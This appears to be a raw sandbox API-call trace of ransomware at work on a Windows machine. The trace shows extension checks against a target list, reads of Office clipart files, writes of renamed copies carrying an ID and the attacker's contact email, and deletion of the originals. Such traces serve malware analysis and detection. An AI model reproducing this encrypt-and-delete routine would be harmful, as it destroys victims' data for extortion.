lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0273.334] lstrlenW (lpString=".jpg") returned 4 [0273.334] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0273.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0273.334] lstrlenW (lpString=".doc") returned 4 [0273.334] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.334] lstrlenW (lpString=".docx") returned 5 [0273.334] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.334] lstrlenW (lpString=".pdf") returned 4 [0273.334] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.334] lstrlenW (lpString=".xls") returned 4 [0273.334] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.334] lstrlenW (lpString=".xlsx") returned 5 [0273.334] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.334] lstrlenW (lpString=".ppt") returned 4 [0273.334] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0273.334] lstrlenW (lpString=".zip") returned 4 [0273.334] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.334] lstrlenW (lpString=".rar") returned 4 [0273.334] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.334] lstrlenW (lpString=".bz2") returned 4 [0273.334] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.335] lstrlenW (lpString=".7z") returned 3 [0273.335] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0273.335] lstrlenW (lpString=".dbf") returned 4 [0273.335] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0273.335] lstrlenW (lpString=".1cd") returned 4 [0273.335] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0273.335] lstrlenW (lpString=".jpg") returned 4 [0273.335] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.335] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.335] lstrlenW (lpString="FD00779_.WMF") returned 12 [0273.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.349] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=9010) returned 1 [0273.349] CloseHandle (hObject=0x38c) returned 1 [0273.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf")) returned 0x20 [0273.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.374] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.374] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0273.375] GetLastError () returned 0x0 [0273.375] ReadFile (in: hFile=0x38c, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x2332, lpOverlapped=0x0) returned 1 [0273.376] WriteFile (in: hFile=0x354, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x2340, lpOverlapped=0x0) returned 1 [0273.377] ReadFile (in: hFile=0x38c, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.377] WriteFile (in: hFile=0x354, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.377] SetEndOfFile (hFile=0x354) returned 1 [0273.377] CloseHandle (hObject=0x354) returned 1 [0273.377] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.377] SetEndOfFile (hFile=0x38c) returned 1 [0273.379] CloseHandle (hObject=0x38c) returned 1 [0273.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.379] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf")) returned 1 [0273.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0273.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0273.380] lstrlenW (lpString=".doc") returned 4 [0273.380] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.380] lstrlenW (lpString=".docx") returned 5 [0273.380] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.380] lstrlenW (lpString=".pdf") returned 4 [0273.380] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.380] lstrlenW (lpString=".xls") returned 4 [0273.380] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.380] lstrlenW (lpString=".xlsx") returned 5 [0273.381] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.381] lstrlenW (lpString=".ppt") returned 4 [0273.381] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0273.381] lstrlenW (lpString=".zip") returned 4 [0273.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.381] lstrlenW (lpString=".rar") returned 4 [0273.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.381] lstrlenW (lpString=".bz2") returned 4 [0273.381] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.381] lstrlenW (lpString=".7z") returned 3 [0273.381] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0273.381] lstrlenW (lpString=".dbf") returned 4 [0273.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0273.381] lstrlenW (lpString=".1cd") returned 4 [0273.381] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0273.381] lstrlenW (lpString=".jpg") returned 4 [0273.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0273.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0273.381] lstrlenW (lpString=".doc") returned 4 [0273.381] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.381] lstrlenW (lpString=".docx") returned 5 [0273.381] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.381] lstrlenW (lpString=".pdf") returned 4 [0273.381] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.382] lstrlenW (lpString=".xls") returned 4 [0273.382] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.382] lstrlenW (lpString=".xlsx") returned 5 [0273.382] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.382] lstrlenW (lpString=".ppt") returned 4 [0273.382] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0273.382] lstrlenW (lpString=".zip") returned 4 [0273.382] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.382] lstrlenW (lpString=".rar") returned 4 [0273.382] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.382] lstrlenW (lpString=".bz2") returned 4 [0273.382] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.382] lstrlenW (lpString=".7z") returned 3 [0273.382] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0273.382] lstrlenW (lpString=".dbf") returned 4 [0273.382] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0273.382] lstrlenW (lpString=".1cd") returned 4 [0273.382] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0273.382] lstrlenW (lpString=".jpg") returned 4 [0273.382] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.383] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.383] lstrlenW (lpString="FD01074_.WMF") returned 12 [0273.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.383] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=4634) returned 1 [0273.383] CloseHandle (hObject=0x38c) returned 1 [0273.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf")) returned 0x20 [0273.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.383] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.383] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0273.384] GetLastError () returned 0x0 [0273.384] ReadFile (in: hFile=0x38c, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x121a, lpOverlapped=0x0) returned 1 [0273.385] WriteFile (in: hFile=0x354, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x1220, lpOverlapped=0x0) returned 1 [0273.386] ReadFile (in: hFile=0x38c, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.386] WriteFile (in: hFile=0x354, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.387] SetEndOfFile (hFile=0x354) returned 1 [0273.387] CloseHandle (hObject=0x354) returned 1 [0273.387] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.387] SetEndOfFile (hFile=0x38c) returned 1 [0273.390] CloseHandle (hObject=0x38c) returned 1 [0273.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.390] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf")) returned 1 [0273.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0273.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0273.390] lstrlenW (lpString=".doc") returned 4 [0273.390] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.390] lstrlenW (lpString=".docx") returned 5 [0273.390] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.390] lstrlenW (lpString=".pdf") returned 4 [0273.390] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.390] lstrlenW (lpString=".xls") returned 4 [0273.390] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.390] lstrlenW (lpString=".xlsx") returned 5 [0273.390] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.390] lstrlenW (lpString=".ppt") returned 4 [0273.390] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0273.390] lstrlenW (lpString=".zip") returned 4 [0273.391] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.391] lstrlenW (lpString=".rar") returned 4 [0273.391] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.391] lstrlenW (lpString=".bz2") returned 4 [0273.391] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.391] lstrlenW (lpString=".7z") returned 3 [0273.391] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0273.391] lstrlenW (lpString=".dbf") returned 4 [0273.391] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0273.391] lstrlenW (lpString=".1cd") returned 4 [0273.391] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0273.391] lstrlenW (lpString=".jpg") returned 4 [0273.391] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0273.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0273.391] lstrlenW (lpString=".doc") returned 4 [0273.391] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.391] lstrlenW (lpString=".docx") returned 5 [0273.391] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.391] lstrlenW (lpString=".pdf") returned 4 [0273.391] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.391] lstrlenW (lpString=".xls") returned 4 [0273.391] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.391] lstrlenW (lpString=".xlsx") returned 5 [0273.391] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.391] lstrlenW (lpString=".ppt") returned 4 [0273.392] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0273.392] lstrlenW (lpString=".zip") returned 4 [0273.392] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.392] lstrlenW (lpString=".rar") returned 4 [0273.392] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.392] lstrlenW (lpString=".bz2") returned 4 [0273.392] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.392] lstrlenW (lpString=".7z") returned 3 [0273.392] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0273.392] lstrlenW (lpString=".dbf") returned 4 [0273.392] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0273.392] lstrlenW (lpString=".1cd") returned 4 [0273.392] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0273.392] lstrlenW (lpString=".jpg") returned 4 [0273.392] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.392] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.392] lstrlenW (lpString="FD01084_.WMF") returned 12 [0273.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.393] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=2412) returned 1 [0273.393] CloseHandle (hObject=0x38c) returned 1 [0273.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf")) returned 0x20 [0273.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.393] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.393] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0273.394] GetLastError () returned 0x0 [0273.394] ReadFile (in: hFile=0x38c, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x96c, lpOverlapped=0x0) returned 1 [0273.396] WriteFile (in: hFile=0x354, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x970, lpOverlapped=0x0) returned 1 [0273.397] ReadFile (in: hFile=0x38c, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.397] WriteFile (in: hFile=0x354, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.397] SetEndOfFile (hFile=0x354) returned 1 [0273.397] CloseHandle (hObject=0x354) returned 1 [0273.397] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.397] SetEndOfFile (hFile=0x38c) returned 1 [0273.462] CloseHandle (hObject=0x38c) returned 1 [0273.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.525] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf")) returned 1 [0273.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0273.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0273.525] lstrlenW (lpString=".doc") returned 4 [0273.525] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.525] lstrlenW (lpString=".docx") returned 5 [0273.525] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.525] lstrlenW (lpString=".pdf") returned 4 [0273.525] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.525] lstrlenW (lpString=".xls") returned 4 [0273.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.526] lstrlenW (lpString=".xlsx") returned 5 [0273.526] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.526] lstrlenW (lpString=".ppt") returned 4 [0273.526] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0273.526] lstrlenW (lpString=".zip") returned 4 [0273.526] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.526] lstrlenW (lpString=".rar") returned 4 [0273.526] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.526] lstrlenW (lpString=".bz2") returned 4 [0273.526] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.526] lstrlenW (lpString=".7z") returned 3 [0273.526] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0273.526] lstrlenW (lpString=".dbf") returned 4 [0273.526] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0273.526] lstrlenW (lpString=".1cd") returned 4 [0273.526] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0273.526] lstrlenW (lpString=".jpg") returned 4 [0273.526] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0273.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0273.526] lstrlenW (lpString=".doc") returned 4 [0273.526] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.526] lstrlenW (lpString=".docx") returned 5 [0273.526] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 